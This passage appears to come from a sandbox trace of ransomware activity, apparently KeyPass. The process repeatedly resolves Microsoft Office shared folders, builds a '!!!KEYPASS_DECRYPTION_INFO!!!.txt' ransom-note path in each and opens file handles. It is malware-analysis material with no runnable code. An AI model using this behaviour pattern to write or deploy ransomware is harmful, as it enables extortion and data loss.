wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0269.344] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.344] GetLastError () returned 0x3f0 [0269.344] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\1042\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\1042\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.344] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\1042\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.345] GetFileType (hFile=0xd98) returned 0x1 [0269.345] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0269.345] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0269.345] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0269.346] CloseHandle (hObject=0xd98) returned 1 [0269.346] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0269.346] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.346] GetLastError () returned 0x3f0 [0269.346] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\1046\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\1046\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.346] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\1046\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.346] GetFileType (hFile=0xdd8) returned 0x1 [0269.347] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0269.347] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0269.347] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0269.347] CloseHandle (hObject=0xdd8) returned 1 [0269.347] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0269.348] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.348] GetLastError () returned 0x3f0 [0269.348] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\1049\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\1049\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.348] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\1049\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.348] GetFileType (hFile=0xddc) returned 0x1 [0269.348] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0269.349] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0269.349] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0269.349] CloseHandle (hObject=0xddc) returned 1 [0269.349] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0269.349] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.349] GetLastError () returned 0x3f0 [0269.350] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\2052\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\2052\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.350] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\2052\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.351] GetFileType (hFile=0xde0) returned 0x1 [0269.351] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0269.351] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0269.351] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0269.351] CloseHandle (hObject=0xde0) returned 1 [0269.351] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0269.352] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.352] GetLastError () returned 0x3f0 [0269.352] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\3082\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\3082\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.352] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\3082\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.353] GetFileType (hFile=0xde4) returned 0x1 [0269.353] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0269.353] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0269.353] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0269.353] CloseHandle (hObject=0xde4) returned 1 [0269.354] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0269.354] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.354] GetLastError () returned 0x3f0 [0269.354] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.354] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.375] GetFileType (hFile=0xdec) returned 0x1 [0269.375] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0269.375] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0269.376] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0269.377] CloseHandle (hObject=0xdec) returned 1 [0269.423] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0269.423] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.423] GetLastError () returned 0x3f0 [0269.423] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\1033\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.423] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.424] GetFileType (hFile=0xde8) returned 0x1 [0269.424] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0269.424] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0269.424] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0269.425] CloseHandle (hObject=0xde8) returned 1 [0269.426] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0269.426] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.426] GetLastError () returned 0x3f0 [0269.426] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\Cultures\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\Cultures\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.426] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\Cultures\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.427] GetFileType (hFile=0xdf0) returned 0x1 [0269.427] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0269.427] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0269.427] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0269.427] CloseHandle (hObject=0xdf0) returned 1 [0269.427] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0269.428] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.428] GetLastError () returned 0x3f0 [0269.428] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\en-us\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\en-us\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.428] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\en-us\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.428] GetFileType (hFile=0xdf4) returned 0x1 [0269.428] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0269.429] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0269.429] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0269.429] CloseHandle (hObject=0xdf4) returned 1 [0269.429] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0269.429] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.429] GetLastError () returned 0x3f0 [0269.430] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Portal\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Portal\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.430] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Portal\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.430] GetFileType (hFile=0xdf8) returned 0x1 [0269.430] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0269.430] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0269.430] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0269.431] CloseHandle (hObject=0xdf8) returned 1 [0269.431] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0269.431] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.431] GetLastError () returned 0x3f0 [0269.431] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Portal\\1033\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Portal\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.431] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Portal\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.432] GetFileType (hFile=0xdfc) returned 0x1 [0269.432] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0269.432] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0269.432] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0269.433] CloseHandle (hObject=0xdfc) returned 1 [0269.433] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0269.433] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.433] GetLastError () returned 0x3f0 [0269.433] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.433] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.434] GetFileType (hFile=0xe00) returned 0x1 [0269.435] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0269.435] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0269.435] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0269.435] CloseHandle (hObject=0xe00) returned 1 [0269.435] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0269.435] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.436] GetLastError () returned 0x3f0 [0269.436] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA6\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA6\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.436] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA6\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.436] GetFileType (hFile=0xe04) returned 0x1 [0269.436] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0269.436] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0269.436] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0269.437] CloseHandle (hObject=0xe04) returned 1 [0269.437] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0269.437] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.437] GetLastError () returned 0x3f0 [0269.437] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.437] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.438] GetFileType (hFile=0xe0c) returned 0x1 [0269.438] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0269.438] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0269.438] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0269.439] CloseHandle (hObject=0xe0c) returned 1 [0269.439] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0269.439] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39a3018 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.439] GetLastError () returned 0x3f0 [0269.440] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.440] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.493] GetFileType (hFile=0xe08) returned 0x1 [0269.493] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db28, cchData=2 | out: lpLCData="0") returned 2 [0269.493] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db14, cchData=2 | out: lpLCData="0") returned 2 [0269.493] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db04, cchData=2 | out: lpLCData="0") returned 2 [0269.494] CloseHandle (hObject=0xe08) returned 1 [0269.494] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0269.494] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.494] GetLastError () returned 0x3f0 [0269.494] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Web Server Extensions\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Web Server Extensions\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.494] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Web Server Extensions\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.495] GetFileType (hFile=0xe10) returned 0x1 [0269.495] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0269.495] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0269.495] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0269.496] CloseHandle (hObject=0xe10) returned 1 [0269.496] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0269.496] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.496] GetLastError () returned 0x3f0 [0269.496] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Web Server Extensions\\16\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Web Server Extensions\\16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.496] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Web Server Extensions\\16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.497] GetFileType (hFile=0xe14) returned 0x1 [0269.497] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0269.497] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0269.497] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0269.498] CloseHandle (hObject=0xe14) returned 1 [0269.498] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0269.498] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39a3018 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.498] GetLastError () returned 0x3f0 [0269.498] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Web Server Extensions\\16\\BIN\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Web Server Extensions\\16\\BIN\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.498] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Web Server Extensions\\16\\BIN\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.499] GetFileType (hFile=0xe18) returned 0x1 [0269.499] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db28, cchData=2 | out: lpLCData="0") returned 2 [0269.499] GetLocaleInfoEx (in: 